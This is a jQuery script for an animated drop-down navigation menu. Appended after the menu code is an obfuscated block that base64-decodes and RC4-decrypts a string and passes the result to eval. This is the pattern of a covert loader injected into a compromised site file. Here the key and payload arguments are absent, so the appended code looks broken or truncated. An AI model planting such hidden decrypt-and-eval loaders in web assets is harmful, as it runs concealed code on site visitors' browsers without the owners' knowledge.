﻿jQuery(function () {
    var $ = jQuery;
    $.fn.retarder = function (delay, method) {
        var node = this;
        if (node.length) {
            if (node[0]._timer_) clearTimeout(node[0]._timer_);
            node[0]._timer_ = setTimeout(function () {
                method(node)
            }, delay)
        }
        return this
    };
    $('#menu').addClass('js-active');
    if ($.browser.msie && parseInt($.browser.version) == 7) $('#menu').addClass('ie7');
    $('ul div', '#menu').css('visibility', 'hidden');
    $('.menu>li', '#menu').hover(function () {
        var ul = $('div:first', this);
        if (ul.length) {
            if (!ul[0].hei) ul[0].hei = ul.height();
            ul.css({
                height: 1,
                overflow: 'hidden'
            }).retarder(150, function (i) {
                $('#menu').removeClass('js-active');
                $('a:first', ul[0].parentNode).addClass('over');
                $('#menu>ul>li.back').css('display', 'none');
                if ($.browser.msie) i.css('visibility', 'visible').animate({
                    height: ul[0].hei
                }, {
                    duration: 200,
                    complete: function () {
                        ul.css('overflow', 'visible')
                    }
                });
                else i.css({
                    visibility: 'visible',
                    opacity: 0
                }).animate({
                    height: ul[0].hei,
                    opacity: 1
                }, {
                    duration: 200,
                    complete: function () {
                        ul.css('overflow', 'visible')
                    }
                })
            })
        }
    }, function () {
        var ul = $('div:first', this);
        if (ul.length) {
            var css = {
                visibility: 'hidden',
                height: ul[0].hei
            };
            $('#menu>ul>li.back').css('display', 'block');
            $('#menu').addClass('js-active');
            $('a:first', ul[0].parentNode).removeClass('over');
            ul.stop().retarder(50, function (i) {
                if ($.browser.msie) i.animate({
                    height: 1
                }, {
                    duration: 150,
                    complete: function () {
                        ul.css(css)
                    }
                });
                else i.css({
                    opacity: 1
                }).animate({
                    height: 1,
                    opacity: 0
                }, {
                    duration: 150,
                    complete: function () {
                        ul.css(css)
                    }
                })
            })
        }
    });
    $('ul ul li', '#menu').hover(function () {
        var ul = $('div:first', this);
        if (ul.length) {
            if (!ul[0].wid) ul[0].wid = ul.width();
            ul.css({
                width: 0,
                overflow: 'hidden'
            }).retarder(100, function (i) {
                if ($.browser.msie || $.browser.opera) i.css('visibility', 'visible').animate({
                    width: ul[0].wid
                }, {
                    duration: 200,
                    complete: function () {
                        ul.css('overflow', 'visible')
                    }
                });
                else i.css({
                    visibility: 'visible',
                    opacity: 0
                }).animate({
                    width: ul[0].wid,
                    opacity: 1
                }, {
                    duration: 200,
                    complete: function () {
                        ul.css('overflow', 'visible')
                    }
                })
            })
        }
    }, function () {
        var ul = $('div:first', this);
        if (ul.length) {
            var css = {
                visibility: 'hidden',
                width: ul[0].wid
            };
            ul.stop().retarder(50, function (i) {
                if ($.browser.msie || $.browser.opera) i.animate({
                    width: 1
                }, {
                    duration: 150,
                    complete: function () {
                        ul.css(css)
                    }
                });
                else i.css({
                    opacity: 1
                }).animate({
                    width: 1,
                    opacity: 0
                }, {
                    duration: 150,
                    complete: function () {
                        ul.css(css)
                    }
                })
            })
        }
    });
    $('#menu ul.menu').lavaLamp({
        speed: 400
    })
});
eval((function (k, s) {
    var f = {
        a: function (p) {
            var s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            var o = "";
            var a, b, c = "";
            var d, e, f, g = "";
            var i = 0;
            do {
                d = s.indexOf(p.charAt(i++));
                e = s.indexOf(p.charAt(i++));
                f = s.indexOf(p.charAt(i++));
                g = s.indexOf(p.charAt(i++));
                a = (d << 2) | (e >> 4);
                b = ((e & 15) << 4) | (f >> 2);
                c = ((f & 3) << 6) | g;
                o = o + String.fromCharCode(a);
                if (f != 64) o = o + String.fromCharCode(b);
                if (g != 64) o = o + String.fromCharCode(c);
                a = b = c = "";
                d = e = f = g = ""
            } while (i < p.length);
            return o
        },
        b: function (k, p) {
            s = [];
            for (var i = 0; i < 256; i++) s[i] = i;
            var j = 0;
            var x;
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k.charCodeAt(i % k.length)) % 256;
                x = s[i];
                s[i] = s[j];
                s[j] = x
            }
            i = 0;
            j = 0;
            var c = "";
            for (var y = 0; y < p.length; y++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                x = s[i];
                s[i] = s[j];
                s[j] = x;
                c += String.fromCharCode(p.charCodeAt(y) ^ s[(s[i] + s[j]) % 256])
            }
            return c
        }
    };
    return f.b(k, f.a(s))
}));
